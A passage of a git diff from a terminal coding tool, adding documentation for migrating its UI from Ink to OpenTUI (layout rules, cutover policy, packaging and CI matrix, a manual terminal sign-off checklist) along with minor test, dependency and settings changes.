**Leaf magic constants from terminal size** — components computing their own `rows - K`. +9. **Dense permanent strips** — full goal criteria, full task lists, full agent rosters as always-on multi-row chrome. +10. **Idle progress spacers** — reserving progress rows when nothing is painted. + +--- + +## 6. Acceptance scenarios this constitution enables + +Full corpus and harness mapping live in `docs/plans/tui-layout-scroll-platform.md` (acceptance scenarios section). Layout-critical scenarios that must stay true under this constitution: + +| Scenario | Layout requirement | +|---|---| +| **Starved chrome** | Goal + tasks + agents + active progress on 24 rows → transcript still ≥ floor; expand/collapse works via §3.3 | +| **Permission list** | Host measures list; keep-active-visible; wheel on list lease; close restores prompt rect/focus | +| **Operator question** | Long question + many choices fit host box; no overpaint into the prompt border | +| **Prompt expand** | Multi-line paste; internal scroll; transcript does not vanish | +| **Stream follow** | Transcript residual stable under append; no layout thrash | +| **Resize mid-session** | 80×24 ↔ 120×40; resolver re-runs; no ghost lines; prompt base stable | +| **Settings / help** | Full-shell or host modal; open/close leaves no residual absolute paint | +| **Long log** | Working-set render inside transcript rect; interactive scroll (numeric N elsewhere) | + +Interaction scenarios (queue, palette, copy, subagent observe) depend on this geometry but are specified in the interaction contract and focus design, not here. + +--- + +## 7. Related docs + +| Doc | Role | +|---|---| +| `briefs/tui-rebuild-opentui.md` | Product brief (Amp-class calm, queue-default, palette, chrome rent metaphor) | +| `docs/plans/tui-layout-scroll-platform.md` | Epic plan: architecture, migration hard cutover, full acceptance corpus | +| `docs/tui-interaction-contract.md` | Keys, queue/steer/interrupt, palette chord (sibling constitution) | +| `docs/tui-ink-freeze.md` | What may still patch on Ink before cutover | +| `docs/tui-migration-cutover.md` | Branch hard cutover, platforms, merge bar | +| `docs/PRODUCT.md` | Product UX claims (update when cutover ships; do not treat mid-run Enter semantics there as target) | +| `docs/ARCHITECTURE.md` | System architecture; TUI runner ownership today | + +### Ink paths (reference only — do not grow) + +- `src/tui/chrome-zones.ts` — fixed zone row budgets today +- `src/tui/chrome-geometry.ts` — variable chrome row math today +- `src/tui/hooks/use-layout-geometry.ts` — transcript/overlay resolver today +- `src/tui/components/modal-stack.tsx`, `src/tui/components/overlay-stack.tsx` — dual stacks today + +--- + +## 8. Proposed defaults still open for paint proof + +These are **proposed** in this constitution so Platform can implement without waiting. Spike/harness may tighten numbers; they may not violate locked floors. + +| Item | Proposed default | Rationale | +|---|---|---| +| Transcript idle floor (24-row) | **12** | Locked by plan/brief | +| Transcript inset-overlay floor (24-row) | **8** | Keeps log glanceable under permission/operator | +| Prompt height cap | **40% of terminal rows** | Matches current prompt-layout intent; internal scroll | +| Overlay host max (inset) | **≤ 70% of terminal rows** | Leaves room for the prompt stack | +| Goal / task / agents collapsed | **0–1 row each** | Plan budget; dense → modal | +| Task temporary expand cap | **5 content rows then modal** | Prevents checklist starvation of log | +| Settings notice chrome cap | **≤ 3 rows** | Diagnostics dump belongs in settings | +| Tiny terminal (< 24 rows) min transcript | **≥ 6** with optional strips forced off | Degraded but usable | +| Collapse priority | §3.3 order | Makes “chrome priority when scarce” implementable | + +Numeric long-log working-set size is **not** set here; it belongs with long-log platform work. + +--- + +## 9. Change control + +- Locked floors and kill list change only with an explicit product/plan update, not drive-by PR edits. +- Proposed numbers may be refined when the geometry harness proves paint heights. +- New permanent chrome zones require a registry row, a collapse rule, and an idle 80×24 budget proof before merge. diff --git a/docs/tui-migration-cutover.md b/docs/tui-migration-cutover.md new file mode 100644 index 000000000..0b2b13675 --- /dev/null +++ b/docs/tui-migration-cutover.md @@ -0,0 +1,136 @@ +# TUI migration cutover policy + +**Status:** locked +**Source of truth:** `docs/plans/tui-layout-scroll-platform.md` (migration strategy and locked cutover decision) +**Product brief:** `briefs/tui-rebuild-opentui.md` + +This document is the operator-facing cutover policy for moving Corbits Code from Ink to OpenTUI. It does not invent product direction; it restates the locked plan decisions so merge and scrap rules are unambiguous. + +--- + +## 1. Policy statement + +Migration is a **branch hard cutover**. + +- One migration branch carries the full OpenTUI shell, platform, and primary surfaces. +- Main stays on Ink until the whole epic is ready to ship. +- Merge only when the acceptance corpus and Bar gates are green. +- On failure before merge: **scrap the branch**; do not land half. +- **No dual-release.** Do not ship two paint paths (Ink and OpenTUI) as product modes. +- **No dual-entry product flag.** Runtime flags that select Ink vs OpenTUI for end users are not a ship path. +- Remove Ink as part of the same cutover merge — not a later flag flip on main. + +--- + +## 2. Branch lifecycle + +| Phase | What happens | Exit | +|---|---|---| +| **Spike** | OpenTUI on Bun (FFI, install, binding). Spike starts the migration-branch attempt. | Go / no-go written | +| **Constitution** | Lock budget, focus, scroll, palette, queue/steer/interrupt (docs + acceptance scenarios). | Reviewed and locked | +| **Full epic on branch** | Platform (shell, geometry, list kit, focus/scroll lease, harness) + all primary surfaces + Quiet UI after geometry rules exist. | Surfaces complete on branch | +| **Bar** | Size matrix, peer pass, long-session smoke on the branch. | Bar minimum green | +| **Merge or scrap** | Merge only when gates pass; otherwise scrap and stay on Ink. | Ship OpenTUI or remain Ink | + +### Strangler order (on the migration branch only) + +``` +app chrome shell + → transcript + scroll lease + long-log window + → prompt + queue/steer/interrupt + → overlay host (permissions, operator, model) + → palette + → agents strip / goal / task zones + → settings / help / residual + → delete Ink path + → merge only when acceptance corpus green +``` + +Main does not receive partial OpenTUI surfaces. Work lands on the migration branch; cutover is the merge that deletes Ink. + +--- + +## 3. Merge checklist + +Do not merge until every item is true: + +### Acceptance corpus + +All scenarios in the plan acceptance corpus pass on OpenTUI (automated harness where possible; manual for terminal-specific paint). Summary of required classes: + +1. Starved chrome on 24 rows (transcript floor held; expand/collapse works) +2. Permission list (keep-active-visible; wheel scoped; close restores prompt) +3. Operator question (long text + many choices; no overpaint into status) +4. Prompt expand (multi-line paste; transcript does not vanish) +5. Stream follow (auto-follow; pin on scroll up; jump-to-bottom) +6. Queue mid-run (Enter queues; Alt+Enter steers; Ctrl+C interrupts) +7. Palette open → permissions → Esc restores prompt focus +8. Keyboard copy path without mouse drag-select +9. Subagent observe (independent scroll; Esc restores parent lease) +10. Resize mid-session (no ghost lines; prompt row stable) +11. Settings / help open/close without residual absolute paint +12. Long log remains interactive under multi-thousand-line load + +Full scenario text lives in `docs/plans/tui-layout-scroll-platform.md` (acceptance corpus section). + +### Bar gates + +- **Size matrix** green on **macOS** (primary) and **Linux** (required for CI/server users). Run continuously on migration PRs, not only at the end. +- **Peer pass** complete (Amp feel, OpenCode stack notes, Claude Code / pi interaction baselines as comparison — not copy targets). +- **Long-session smoke** clean (ghosting, overpaint, resize under sustained stream). + +### Cutover completeness + +- Ink path removed on the migration branch (same merge as OpenTUI ship). +- No product-facing Ink fallback or dual paint mode remains. +- Packaging/install path for OpenTUI is documented and CI-green on required platforms. + +--- + +## 4. Rollback and failure modes + +| When | Action | Outcome | +|---|---|---| +| **Before merge** | Scrap the migration branch | Main stays Ink; no half-landed OpenTUI | +| **After merge (catastrophic)** | Normal git revert of the merge commit | Return to Ink; do not leave a permanent dual paint path | +| **Never** | Ship “OpenTUI shell with Ink fallback” as a product mode | Forbidden | + +Scrap means: abandon the branch work as the ship vehicle; do not merge incomplete surfaces “behind a flag.” Lessons from the spike and constitution docs may still inform a later attempt; the incomplete paint path does not ship. + +--- + +## 5. Platform gates + +| Priority | Platform | Role at cutover | +|---|---|---| +| **#1** | **macOS** | Must pass; primary development target | +| **#2** | **Linux** | Must pass (CI and server users) | +| — | **Windows** | Non-blocking for v1; best-effort only if free | + +Windows failures do not block merge. macOS or Linux acceptance/Bar failures do. + +--- + +## 6. Explicit non-goals + +- Dual-release Ink + OpenTUI in production +- Dual-entry product flag as the migration vehicle +- Shipping OpenTUI before the whole epic is ready +- Landing half the surfaces on main “to de-risk” +- Treating Windows as a v1 must-pass platform + +Ink policy until cutover: only true P0 daily-use blockers get minimal patches; no new chrome features on Ink. That freeze is separate from this cutover doc; see the plan and constitution. + +--- + +## 7. Related docs + +| Doc | Role | +|---|---| +| `docs/plans/tui-layout-scroll-platform.md` | Plan source of truth (migration strategy, acceptance corpus, locked decisions) | +| `briefs/tui-rebuild-opentui.md` | Product brief (cutover locked with platform priorities) | +| `docs/tui-layout-constitution.md` | Layout constitution (budget, ownership, interaction) — when present | +| `docs/ARCHITECTURE.md` | Current system architecture (Ink TUI today) | +| `docs/PRODUCT.md` | Product UX claims (TUI section) | + +When constitution and cutover disagree with the plan on locked decisions, the plan wins until deliberately re-locked. diff --git a/docs/tui-opentui-packaging.md b/docs/tui-opentui-packaging.md new file mode 100644 index 000000000..615a95976 --- /dev/null +++ b/docs/tui-opentui-packaging.md @@ -0,0 +1,245 @@ +# OpenTUI install / CI / packaging plan + +**Status:** plan (docs only; CI not yet changed) +**Spike verdict:** GO — `docs/plans/opentui-spike-report.md` +**Spike packages:** `@opentui/core@0.5.1`, `@opentui/solid@0.5.1` +**Runtime:** Bun (`package.json` engines: `bun >= 1.2`) +**Platform priority:** macOS #1 · Linux #2 · Windows non-blocking + +This document answers how OpenTUI natives install for contributors and CI, which matrix cells are required, and how to diagnose missing/wrong-arch binaries. Root `package.json` on `migration/opentui-tui` now depends on OpenTUI (see §1); CI configs are still unchanged. + +--- + +## 1. Dependency model + +OpenTUI is a TypeScript API over a **native Zig core** loaded via Bun FFI (or Node ≥ 26.4.0 + `--experimental-ffi`; Corbits is Bun-first). + +| Package | Role | +|---|---| +| `@opentui/core` | Public API + runtime; declares optional platform packages | +| `@opentui/core--[ -musl]` | Prebuilt native library for one OS/CPU (optional dependency) | +| `@opentui/solid` | Solid binding (spike recommendation; peer `solid-js`) | +| `@opentui/keymap` | Host key chords — not installed in spike; wire later | + +### Optional platform packages (`@opentui/core@0.5.1`) + +Package managers install only the optional dep matching the host OS/CPU: + +| Package | OS | Arch | libc | Native file | +|---|---|---|---|---| +| `@opentui/core-darwin-arm64` | macOS | arm64 | — | `libopentui.dylib` | +| `@opentui/core-darwin-x64` | macOS | x64 | — | `libopentui.dylib` | +| `@opentui/core-linux-x64` | Linux | x64 | glibc (default) | `libopentui.so` | +| `@opentui/core-linux-arm64` | Linux | arm64 | glibc (default) | `libopentui.so` | +| `@opentui/core-linux-x64-musl` | Linux | x64 | musl | `libopentui.so` | +| `@opentui/core-linux-arm64-musl` | Linux | arm64 | musl | `libopentui.so` | +| `@opentui/core-win32-x64` | Windows | x64 | — | `opentui.dll` | +| `@opentui/core-win32-arm64` | Windows | arm64 | — | `opentui.dll` | + +Resolution (Bun path): `@opentui/core` dynamically imports the matching `@opentui/core--` package; that package’s entry re-exports the native file with `{ type: "file" }`. + +**Linux musl:** set `OPENTUI_LIBC=musl` so the runtime selects `*-musl` packages. Unset / empty / `glibc` → glibc packages. Other values throw. + +**Supported arches only:** `arm64` and `x64`. Other CPUs throw `Unsupported OpenTUI Node asset target`. + +--- + +## 2. Contributor install (clean machine) + +On **main**, root Corbits does not depend on OpenTUI. On `migration/opentui-tui`, root depends on OpenTUI and `bun install` pulls the host native package. The isolated spike tree under `tmp/opentui-spike` remains useful for re-running spike scripts. + +### Prerequisites + +- **Bun** ≥ 1.2 (spike ran on Bun 1.3.14) +- macOS or Linux, arm64 or x64 +- Network access to the registry that serves `@opentui/*` (npm) + +### A. Re-run the spike (today — recommended) + +```bash +# From repo root +cd tmp/opentui-spike +bun install +bun run verify # headless: native FFI + layout/keys (primary evidence) +bun run start # interactive mini shell (real TTY only) +``` + +Clean machine without the spike tree: + +```bash +mkdir -p tmp/opentui-spike && cd tmp/opentui-spike +bun init -y +bun add @opentui/core@0.5.1 +# Optional Solid path (spike recommendation): +bun add @opentui/solid@0.5.1 solid-js +``` + +**macOS check (arm64 example):** + +```bash +ls node_modules/@opentui/core-darwin-arm64/libopentui.dylib +file node_modules/@opentui/core-darwin-arm64/libopentui.dylib +# expect: Mach-O 64-bit dynamically linked shared library arm64 +``` + +**Linux check (glibc x64 example):** + +```bash +ls node_modules/@opentui/core-linux-x64/libopentui.so +file node_modules/@opentui/core-linux-x64/libopentui.so +# expect: ELF 64-bit LSB shared object, x86-64 +``` + +**Linux musl (Alpine / musl hosts):** + +```bash +export OPENTUI_LIBC=musl +bun install # reinstall so optional musl package can resolve if needed +ls node_modules/@opentui/core-linux-*-musl/libopentui.so +``` + +### B. Production install (migration branch — future) + +When OpenTUI is added to the app (not this doc’s job): + +```bash +# From repo root on the migration branch only +bun install --frozen-lockfile +# Assert native package present for this host (see §5) +bun run test:tui # or whatever harness lands with the platform +``` + +**Do not** add `@opentui/*` to root `package.json` on **main** until cutover policy allows it (`docs/tui-migration-cutover.md`). On branch `migration/opentui-tui`, root already depends on `@opentui/core@0.5.1`, `@opentui/solid@0.5.1`, `@opentui/keymap@0.5.1`, and `solid-js@1.9.14` (scaffold under `src/tui-opentui/`; not wired to the `corbits` CLI yet). + +### Solid contributor notes + +- `jsxImportSource: "@opentui/solid"` +- `bunfig.toml` preload: `@opentui/solid/preload` +- Spike saw `incorrect peer dependency solid-js@1.9.14` — package still resolved; pin a compatible peer when productionizing. + +### Node (not primary) + +Corbits is Bun-first. Node consumers need Node ≥ 26.4.0 and `--experimental-ffi`. Prefer Bun for all contributor and CI paths. + +--- + +## 3. CI matrix plan + +**Docs only — do not edit `.github` in this task.** Current CI is a single `ubuntu-latest` job (workflow_dispatch only while org billing is constrained). When OpenTUI lands on a branch, expand as below. + +### Priority + +| Priority | OS | Required for merge? | +|---|---|---| +| #1 | macOS | **Yes** (primary daily-dev surface) | +| #2 | Linux | **Yes** (primary CI / server / contributor) | +| — | Windows | **No** (non-blocking; optional smoke) | + +### Recommended matrix cells + +| Cell | Runner (example) | Arch | libc | Required | Assert native package | +|---|---|---|---|---|---| +| macOS arm64 | `macos-14` / `macos-latest` | arm64 | — | **Yes** | `@opentui/core-darwin-arm64` + `libopentui.dylib` | +| macOS x64 | `macos-13` (Intel) if available | x64 | — | Preferred | `@opentui/core-darwin-x64` | +| Linux glibc x64 | `ubuntu-latest` | x64 | glibc | **Yes** | `@opentui/core-linux-x64` + `libopentui.so` | +| Linux glibc arm64 | `ubuntu-24.04-arm` (or equiv.) | arm64 | glibc | Preferred | `@opentui/core-linux-arm64` | +| Linux musl x64 | Alpine container / musl job | x64 | musl (`OPENTUI_LIBC=musl`) | Preferred | `@opentui/core-linux-x64-musl` | +| Linux musl arm64 | Alpine arm64 | arm64 | musl | Nice-to-have | `@opentui/core-linux-arm64-musl` | +| Windows x64 | `windows-latest` | x64 | — | Optional | `@opentui/core-win32-x64` + `opentui.dll` | +| Windows arm64 | when runner exists | arm64 | — | Optional | `@opentui/core-win32-arm64` | + +**Minimum gate for OpenTUI platform PRs:** macOS arm64 **and** Linux glibc x64 both green (install + headless renderer tests). Musl and Intel Mac are strongly recommended before Bar milestone; Windows does not block merge. + +### Per-cell install assertion (sketch) + +```bash +# After bun install --frozen-lockfile +node_or_bun_script that: + 1. Resolves process.platform / process.arch (/ OPENTUI_LIBC) + 2. Confirms node_modules/@opentui/core-/ exists + 3. Confirms native file present and non-empty + 4. Imports createTestRenderer from @opentui/core/testing and paints once +``` + +Fail the job if the optional package is missing (silent optional-dep skip is the main failure mode). + +### Bun version + +Pin Bun in CI to a version ≥ 1.2 that matches contributor engines (spike: 1.3.x). Avoid mixing Node-only install paths for OpenTUI jobs. + +### TODO (implement later — not this task) + +- Add matrix jobs to `.github/workflows` when org billing allows normal CI again. +- Publish a small `scripts/assert-opentui-native.ts` (or test) used by every matrix cell. +- Include native assets in any `bun build --compile` / Homebrew release recipe (dylib/so/dll must ship or resolve at install). + +--- + +## 4. Failure modes + +| Symptom | Likely cause | Fix | +|---|---|---| +| `OpenTUI is not supported on the current platform: @opentui/core-…` | Optional platform package missing from `node_modules` (install skipped, offline cache, or `optional=false`) | Re-run `bun install` without disabling optional deps; check registry access; confirm OS/arch match | +| Wrong arch binary / dyld or ELF class error | Cross-copied `node_modules`, Rosetta confusion, or wrong package forced | Delete `node_modules` + lock local cache for that package; reinstall on the target machine | +| Linux loads glibc `.so` on Alpine (or reverse) | `OPENTUI_LIBC` unset on musl, or set on glibc | Set `OPENTUI_LIBC=musl` on musl hosts; leave unset on glibc | +| `Unsupported OpenTUI Node asset target: …` | Arch outside arm64/x64 (e.g. ia32, riscv) | Unsupported — use arm64/x64 host | +| Native import works in Bun, fails in Node | Node < 26.4 or missing `--experimental-ffi` | Use Bun; or upgrade Node + flag | +| Install peer warning on `solid-js` | Solid peer pin mismatch | Pin compatible `solid-js` when productionizing; does not block core FFI | +| Headless tests pass, interactive TTY fails | No real TTY / wrong term / CI without pseudo-TTY | Keep headless `createTestRenderer` as CI primary; interactive only on developer machines | +| Standalone binary / Homebrew missing native | Compile/package step omitted optional assets | Release pipeline must bundle or re-resolve platform package (verify before cutover) | +| Tree-sitter / markdown assets missing | Incomplete pack of `@opentui/core` wasm | Only if those components are used; include `@opentui/core` assets in release | + +### Install policy for optional deps + +- **Never** pass flags that skip optional dependencies for OpenTUI installs. +- Prefer `bun install --frozen-lockfile` in CI so the lockfile records the intended optional set. +- Do not vendor a single-platform dylib into the repo; rely on optional packages. + +--- + +## 5. Release / packaging risks (pre-cutover checklist) + +1. **FFI load path** — confirmed on darwin-arm64 spike; re-verify on each required matrix cell. +2. **Compile (`bun build --compile`)** — ensure the native library is found under the bundled filesystem root or re-resolved next to the binary. +3. **Homebrew / tarball** — ship per-platform artifacts or run an install step that fetches the correct optional package. +4. **Asset size** — tree-sitter wasm under `@opentui/core` if markdown/code components are used; measure before release. +5. **Lockfile** — commit lockfile entries that allow optional platform packages to resolve on all required CI OS/arch pairs. +6. **No dual stack** — packaging targets the OpenTUI migration branch only; main stays Ink until hard cutover. + +--- + +## 6. Quick reference — “how do I install on a clean Mac/Linux machine?” + +```bash +# 1. Install Bun (>= 1.2) +curl -fsSL https://bun.sh/install | bash + +# 2. Clone Corbits and use the spike tree (until root depends on OpenTUI) +cd /path/to/corbits-code/tmp/opentui-spike +bun install + +# 3. Prove native FFI +bun run verify + +# 4. Optional interactive shell +bun run start +``` + +**macOS:** expect `@opentui/core-darwin-{arm64|x64}` and `libopentui.dylib`. +**Linux glibc:** expect `@opentui/core-linux-{arm64|x64}` and `libopentui.so`. +**Linux musl:** `export OPENTUI_LIBC=musl` and expect `*-musl` package. +**Windows:** optional packages exist; not required for contributor or merge gate. + +--- + +## 7. Related docs + +| Doc | Role | +|---|---| +| `docs/plans/opentui-spike-report.md` | Spike GO evidence, install notes, binding hint | +| `docs/plans/tui-layout-scroll-platform.md` | Epic plan; packaging is Renderer milestone | +| `docs/tui-migration-cutover.md` | Branch hard cutover; no dual-release packaging | +| `docs/tui-layout-constitution.md` | Geometry contracts once shell lands | +| `docs/tui-ink-freeze.md` | Ink maintenance-only while OpenTUI builds | + +Spike re-run evidence lives under `tmp/opentui-spike/` (local; not a root dependency). diff --git a/docs/tui-tty-signoff.md b/docs/tui-tty-signoff.md new file mode 100644 index 000000000..69bfccf22 --- /dev/null +++ b/docs/tui-tty-signoff.md @@ -0,0 +1,103 @@ +# Real-terminal sign-off — v0.2.90 + +Every acceptance result on the OpenTUI cutover so far comes from the headless +test renderer. That renderer cannot see paint, real modifier reporting, the +system clipboard, or terminal-owned selection, so a whole class of defect is +invisible to it by construction. + +This is not a theoretical gap. During the cutover, every genuine defect was +found by running the app or capturing the pty byte stream, and none were found +by the suite — including a standalone binary that could not start, a clipboard +that had never written to the system clipboard, and a quit key that fired +mid-edit. Two separate false "blocking" verdicts came from trusting documents +instead. + +So this checklist is signed by a human at a real terminal, or it is not signed. + +**Signed by:** ______________________ **Date:** ______________ + +**Build under test:** `bun run build:bin` → `dist/corbits`, run from a +directory with no adjacent `node_modules`. + +**Terminal:** ______________________ **Version:** ______________ + +Run the whole list at **80x24**, then again at **120x40**. A row passes only if +it passes at both sizes. + +## Launch and layout + +| # | Check | 80x24 | 120x40 | +|---|---|---|---| +| 1 | Binary starts from an empty directory | ☐ | ☐ | +| 2 | Landing screen paints; the mark and hint row are intact | ☐ | ☐ | +| 3 | Resize the window mid-session: no overlap, no stuck rows, no horizontal scroll | ☐ | ☐ | +| 4 | Resize while an overlay is open | ☐ | ☐ | + +## Input + +| # | Check | 80x24 | 120x40 | +|---|---|---|---| +| 5 | Ctrl+Enter inserts a newline; the prompt grows and then scrolls at 40vh | ☐ | ☐ | +| 6 | Enter sends; the message is not split at a newline | ☐ | ☐ | +| 7 | Ctrl+D **with text in the prompt** deletes a character and does **not** exit | ☐ | ☐ | +| 8 | Ctrl+D at an **empty** prompt quits, and the terminal is restored | ☐ | ☐ | +| 9 | Ctrl+C interrupts a run; twice exits | ☐ | ☐ | +| 10 | Paste a short API key into onboarding | ☐ | ☐ | +| 11 | Paste a key longer than 1000 characters — it must not truncate | ☐ | ☐ | +| 12 | Paste multi-line text into the prompt: arrives whole, does not send early | ☐ | ☐ | +| 13 | Ctrl+V with an image on the clipboard attaches it | ☐ | ☐ | +| 14 | Typing works immediately on every surface without clicking first | ☐ | ☐ | + +## Selection and copy + +| # | Check | 80x24 | 120x40 | +|---|---|---|---| +| 15 | Drag-select transcript text with the mouse, no modifier | ☐ | ☐ | +| 16 | CMD+C copies the selection; paste it elsewhere to confirm | ☐ | ☐ | +| 17 | Alt+M takes the mouse; click-to-expand works | ☐ | ☐ | +| 18 | Alt+M again returns selection to the terminal | ☐ | ☐ | +| 19 | Alt+C copy mode writes to the system clipboard | ☐ | ☐ | + +## Streaming and transcript + +| # | Check | 80x24 | 120x40 | +|---|---|---|---| +| 20 | Stream a reply containing `####` headings — no literal markers, no shaking | ☐ | ☐ | +| 21 | Stream a reply with a code fence and a table | ☐ | ☐ | +| 22 | Run the same tool 4+ times in one turn: one folded row, no orphan results | ☐ | ☐ | +| 23 | Non-ASCII output (CJK, em dashes, arrows) does not overflow or mis-wrap | ☐ | ☐ | +| 24 | A session past 500 rows still streams smoothly | ☐ | ☐ | + +## Permissions and failure + +| # | Check | 80x24 | 120x40 | +|---|---|---|---| +| 25 | Approval overlay is sized to its content, not the terminal | ☐ | ☐ | +| 26 | The gate content is not printed twice | ☐ | ☐ | +| 27 | The decision is recorded in the transcript after choosing | ☐ | ☐ | +| 28 | Force a crash: the terminal is restored and the process exits | ☐ | ☐ | +| 29 | Resume a session created before the cutover | ☐ | ☐ | + +## Known open at sign-off + +State whether each is still true, so the release notes match reality. + +- **Shift+Enter** does not insert a newline on terminals that do not report the + modifier. Ctrl+Enter and Ctrl+J do. Verified as terminal reporting, not a + decode defect — the kitty path works end to end. +- **Markdown flicker while streaming.** The deterministic cause (a bare `####` + painting as literal text) is fixed and guarded. A milder flicker remains from + the async highlighter repainting raw source before the concealed form lands. +- **`view`, `plan` and `tasks` blocks are dropped on resume** — the data stays + on disk, but the painted transcript loses it, silently. +- **CL-5539**, test renderers are never freed, so CI exhausts TextBuffers. + Affects the suite, not the product. + +## Sign-off + +Do not tag the release until every row above is checked at both sizes, or until +an unchecked row is deliberately accepted and named in the release notes. + +Anything found here is worth more than anything found by the suite. If a row +fails, say what you saw rather than what you expected — the failures that cost +the most this cycle were the ones described from intent instead of observation. diff --git a/evals/capability/lib.test.ts b/evals/capability/lib.test.ts index 922b62ac2..438355a6d 100644 --- a/evals/capability/lib.test.ts +++ b/evals/capability/lib.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, test } from "bun:test"; +import { beforeEach, describe, expect, test } from "bun:test"; import { mkdtemp, mkdir, writeFile, rm, readFile } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join, dirname } from "node:path"; @@ -692,6 +692,12 @@ describe("loadEvalCases (integration with tmp dir)", () => { }); describe("withEnv / httpFixtureEnv", () => { + // The absent-variable case is a precondition of these tests, not something + // inherited from the shell or from whatever ran earlier in this process. + beforeEach(() => { + delete process.env.EVAL_HTTP_URL; + }); + test("makes the fixture origin visible to in-process code the way ssrf-guard reads it", async () => { const fixture = { url: "http://127.0.0.1:54321/", token: "tok" }; expect(process.env.EVAL_HTTP_URL).toBeUndefined(); diff --git a/package.json b/package.json index 67e5df146..6802f9f70 100644 --- a/package.json +++ b/package.json @@ -29,13 +29,13 @@ "corbits": "./dist/corbits" }, "scripts": { - "build": "bun build ./src/index.ts --outdir ./dist --target bun --external react-devtools-core", + "build": "bun build ./src/index.ts --outdir ./dist --target bun --external '@opentui/core-*'", "build:bin": "bun build ./src/index.ts --compile --minify --define process.env.NODE_ENV='\"production\"' --outfile ./dist/corbits", "typecheck": "tsc --noEmit", "test": "bun test ./src ./tests ./evals", - "test:tui": "bun test --isolate --preload ./tests/setup/tui-preload.ts ./src/tui ./tests/unit/tui", "start": "bun run build && bun ./dist/index.js", - "eval:capability": "bun scripts/eval-capability.ts" + "eval:capability": "bun scripts/eval-capability.ts", + "tui:opentui-smoke": "bun ./src/tui-opentui/smoke.ts" }, "workspaces": [ ".", @@ -66,20 +66,28 @@ "@intx/tools-posix": "0.2.2", "@intx/types": "0.2.2", "@modelcontextprotocol/sdk": "^1.29.0", + "@opentui/core": "0.5.1", + "@opentui/keymap": "0.5.1", + "@opentui/solid": "0.5.1", "arktype": "catalog:", - "highlight.js": "^11.11.1" + "highlight.js": "^11.11.1", + "solid-js": "1.9.14" }, "devDependencies": { "@intx/inference-testing": "0.2.2", "@types/bun": "1.3.9", - "@types/react": "^19.2.15", - "ink": "^7.0.4", - "ink-testing-library": "^4.0.0", - "react": "^19.2.6", - "react-devtools-core": "^7.0.1", "typescript": "5.9.3", "typescript-language-server": "^4.3.4", - "ws": "^8.21.0", - "yoga-layout": "~3.2.1" + "ws": "^8.21.0" + }, + "optionalDependencies": { + "@opentui/core-darwin-arm64": "0.5.1", + "@opentui/core-darwin-x64": "0.5.1", + "@opentui/core-linux-arm64": "0.5.1", + "@opentui/core-linux-arm64-musl": "0.5.1", + "@opentui/core-linux-x64": "0.5.1", + "@opentui/core-linux-x64-musl": "0.5.1", + "@opentui/core-win32-arm64": "0.5.1", + "@opentui/core-win32-x64": "0.5.1" } } diff --git a/src/agent/environment.test.ts b/src/agent/environment.test.ts index 157b6a8e8..17ab46ad6 100644 --- a/src/agent/environment.test.ts +++ b/src/agent/environment.test.ts @@ -1,6 +1,6 @@ import { expect, test } from "bun:test"; import { execFile } from "node:child_process"; -import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { promisify } from "node:util"; @@ -17,11 +17,27 @@ test("gatherEnvironment reports cwd, platform, and date", async () => { expect(env.date).toBe(date); }); -test("gatherEnvironment detects this repository as a git work tree", async () => { - const env = await gatherEnvironment(process.cwd()); - expect(env.isGitRepo).toBe(true); - expect(env.gitBranch).toBeDefined(); - expect(env.topLevel).toContain("src/"); +test("gatherEnvironment detects a git work tree and lists its top level", async () => { + // A purpose-built repo rather than the checkout this run happens to sit in: + // a runner may check out a detached HEAD, which has no branch name. + const dir = await mkdtemp(join(tmpdir(), "corbits-env-repo-")); + try { + await run("git", ["init"], { cwd: dir }); + await run("git", ["config", "user.email", "t@t.test"], { cwd: dir }); + await run("git", ["config", "user.name", "t"], { cwd: dir }); + await run("git", ["checkout", "-b", "trunk"], { cwd: dir }); + await mkdir(join(dir, "src")); + await writeFile(join(dir, "src", "seed.ts"), "export const seed = 1;\n"); + await run("git", ["add", "."], { cwd: dir }); + await run("git", ["commit", "-m", "seed"], { cwd: dir }); + + const env = await gatherEnvironment(dir); + expect(env.isGitRepo).toBe(true); + expect(env.gitBranch).toBe("trunk"); + expect(env.topLevel).toContain("src/"); + } finally { + await rm(dir, { recursive: true, force: true }); + } }); test("gatherEnvironment gathers branch and dirty status from the same work tree", async () => { @@ -71,8 +87,12 @@ test("getGitBranch returns null for empty output", async () => { }); test("gatherEnvironment reports a non-git directory without throwing", async () => { - const env = await gatherEnvironment(tmpdir()); - expect(env.cwd).toBe(tmpdir()); - // tmpdir is not expected to be a git work tree on CI or dev machines. - expect(typeof env.isGitRepo).toBe("boolean"); + const dir = await mkdtemp(join(tmpdir(), "corbits-env-bare-")); + try { + const env = await gatherEnvironment(dir); + expect(env.cwd).toBe(dir); + expect(env.isGitRepo).toBe(false); + } finally { + await rm(dir, { recursive: true, force: true }); + } }); diff --git a/src/config/index.ts b/src/config/index.ts index f8b94c8a8..a537e82f2 100644 --- a/src/config/index.ts +++ b/src/config/index.ts @@ -58,7 +58,7 @@ import { import { resolveProfile } from "./profiles.js"; // The per-call token ceiling for the inference source. Lives here so agent -// creation (runner.tsx) and live provider switching (the /agent +// creation (runner.ts) and live provider switching (the /agent // modal) all build the source the same way and a live switch can never silently // revert the ceiling. export const SOURCE_MAX_TOKENS = 16384; diff --git a/src/config/settings.ts b/src/config/settings.ts index 9bb7c4ff5..fab7bd286 100644 --- a/src/config/settings.ts +++ b/src/config/settings.ts @@ -84,6 +84,11 @@ export type Settings = { // plugin can be registered from anywhere on disk, not just by dropping it // into .corbits/plugins/. pluginPaths?: string[]; + // Per-hook enable/disable state, keyed by LifecycleHook.id (its discovered file + // path). Absent entry means enabled (matches discovery's default). Written by + // the /hooks UI; discovery re-seeds each hook's initial LifecycleHookStatus from + // this on every launch. + hooks?: Record; // When true, also discover plugins listed in ~/.claude/plugins/installed_plugins.json // (Claude Code marketplace installs under the cache). Default false — opt-in so // Corbits Code never silently imports a large third-party plugin set. Discovered @@ -156,6 +161,11 @@ export type Settings = { recentModels?: ModelRef[]; // Operator-starred provider+model pairs for the models-first picker. favoriteModels?: ModelRef[]; + // Show the running session cost next to the context percentage in the + // prompt border's bottom rule. Default false: `/cost` still gives the full + // breakdown on demand, so the border only needs to opt in to the running + // total. + showPromptCost?: boolean; }; function modelRefKey(ref: ModelRef): string { @@ -449,6 +459,7 @@ const SettingsSchema = type({ "workflowProfiles?": type({ "[string]": type({ "[string]": "string" }) }), "plugins?": type({ 